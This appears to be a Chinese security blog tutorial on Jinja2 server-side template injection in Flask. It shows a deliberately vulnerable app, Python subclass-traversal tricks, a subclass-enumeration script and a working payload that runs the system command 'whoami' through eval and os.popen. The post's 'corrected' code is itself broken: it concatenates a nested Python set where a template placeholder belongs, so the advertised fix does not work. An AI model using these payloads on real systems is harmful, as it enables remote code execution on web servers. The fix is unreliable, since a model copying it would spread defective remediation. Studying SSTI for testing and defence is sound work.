本文最后更新于:2020 , 一月 29日 星期三, 10:55 晚上

简介

SSTI(Server-Side Template Injection):服务端模板注入,服务器模板中拼接了恶意用户输入导致各种漏洞
通过模板,web应用可以把输入转换成特定的HTML文件或email格式

Jinja2:Flask作者开发的模板系统,存在三种分隔符语法从HTML转义

  • { % ... % }:控制结构
  • { { ... } }:变量取值,表达式打印到模板输出(是一种特殊的占位符)
  • { # ... # }:注释

实战测试

漏洞代码:

from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name', 'guest') # 获取参数

    t = Template("Hello " + name) # name可控
    return t.render()

if __name__ == "__main__":
    app.run()
  • 正常访问
    0e5096e4-b5f9-495f-b8f0-55c4a11412cb.png

  • payload测试
    b936b0eb-e459-49c1-9b8f-0ecaff24e974.png

Ps:该情况为开发编码不当直接使用了变量进行拼接

修正则不存在模板注入:

from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name', 'guest') # 获取参数

    t = Template("Hello " + {{n}})
    return t.render(n=name)

if __name__ == "__main__":
    app.run()

执行代码

官方:需要在模板环境中注册函数才能在模板中进行调用

如:python要执行系统命令需要os模块,想要在模板中直接调用内置模块os,即需要在模板中对其注册

在Jinja2中模板能够访问python内置变量并且可以调用对应变量类型,可以用Python沙盒逃逸方法

Python特性

  • __base__:以元组返回一个基类
  • __mro__:以元组返回继承关系链(继承树)
  • __class__:返回调用的参数类型
  • __globals__:以字典返回函数所在模块命名空间中的所有变量
  • __subclasses__():以列表返回类的子类
  • __builtins__:内建函数,可直接运行一些函数

    这些函数可在__builtins__中查看,dir(__builtins__)

思路:从内置变量调用__class__.__base__
例子:进行随意的拼接

().__class__.__bases__[0].__subclasses__()[50]
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
[].__class__.__bases__[0]

查找引用的模块

# 返回子类的列表
>>> ''.__class__.__base__.__subclasses__()

#从中随便选一个类,查看它的__init__
>>> ''.__class__.__base__.__subclasses__()[30].__init__
<slot wrapper '__init__' of 'object' objects>
# wrapper是指这些函数并没有被重载,这时他们并不是function,不具有__globals__属性

#再换几个子类,很快就能找到一个重载过__init__的类,比如
>>> ''.__class__.__base__.__subclasses__()[103].__init__
<function IncrementalEncoder.__init__ at 0x000002B04AE0D840>

>>> ''.__class__.__base__.__subclasses__()[5].__init__.__globals__['__builtins__']['eval']
#然后用eval执行命令即可

7c67a604-d266-45aa-a99d-43dd07574d11.png

直接写一个python脚本查更快

for i in range(0,115):
    print(''.__class__.__base__.__subclasses__()[i].__init__)
    print(i)

d6b0d8a2-54b9-4771-8597-1b9297adcbd6.png

测试:whoami
payload:{ {''.__class__.__base__.__subclasses__()[103].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")} }
787b7b7c-8726-4ef5-962c-02bd386ab32e.png


参考链接

https://www.cnblogs.com/leixiao-/p/10227867.html
https://www.cnblogs.com/hackxf/p/10480071.html


漏洞      漏洞

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

phpmyadmin爆破
先知文章爬虫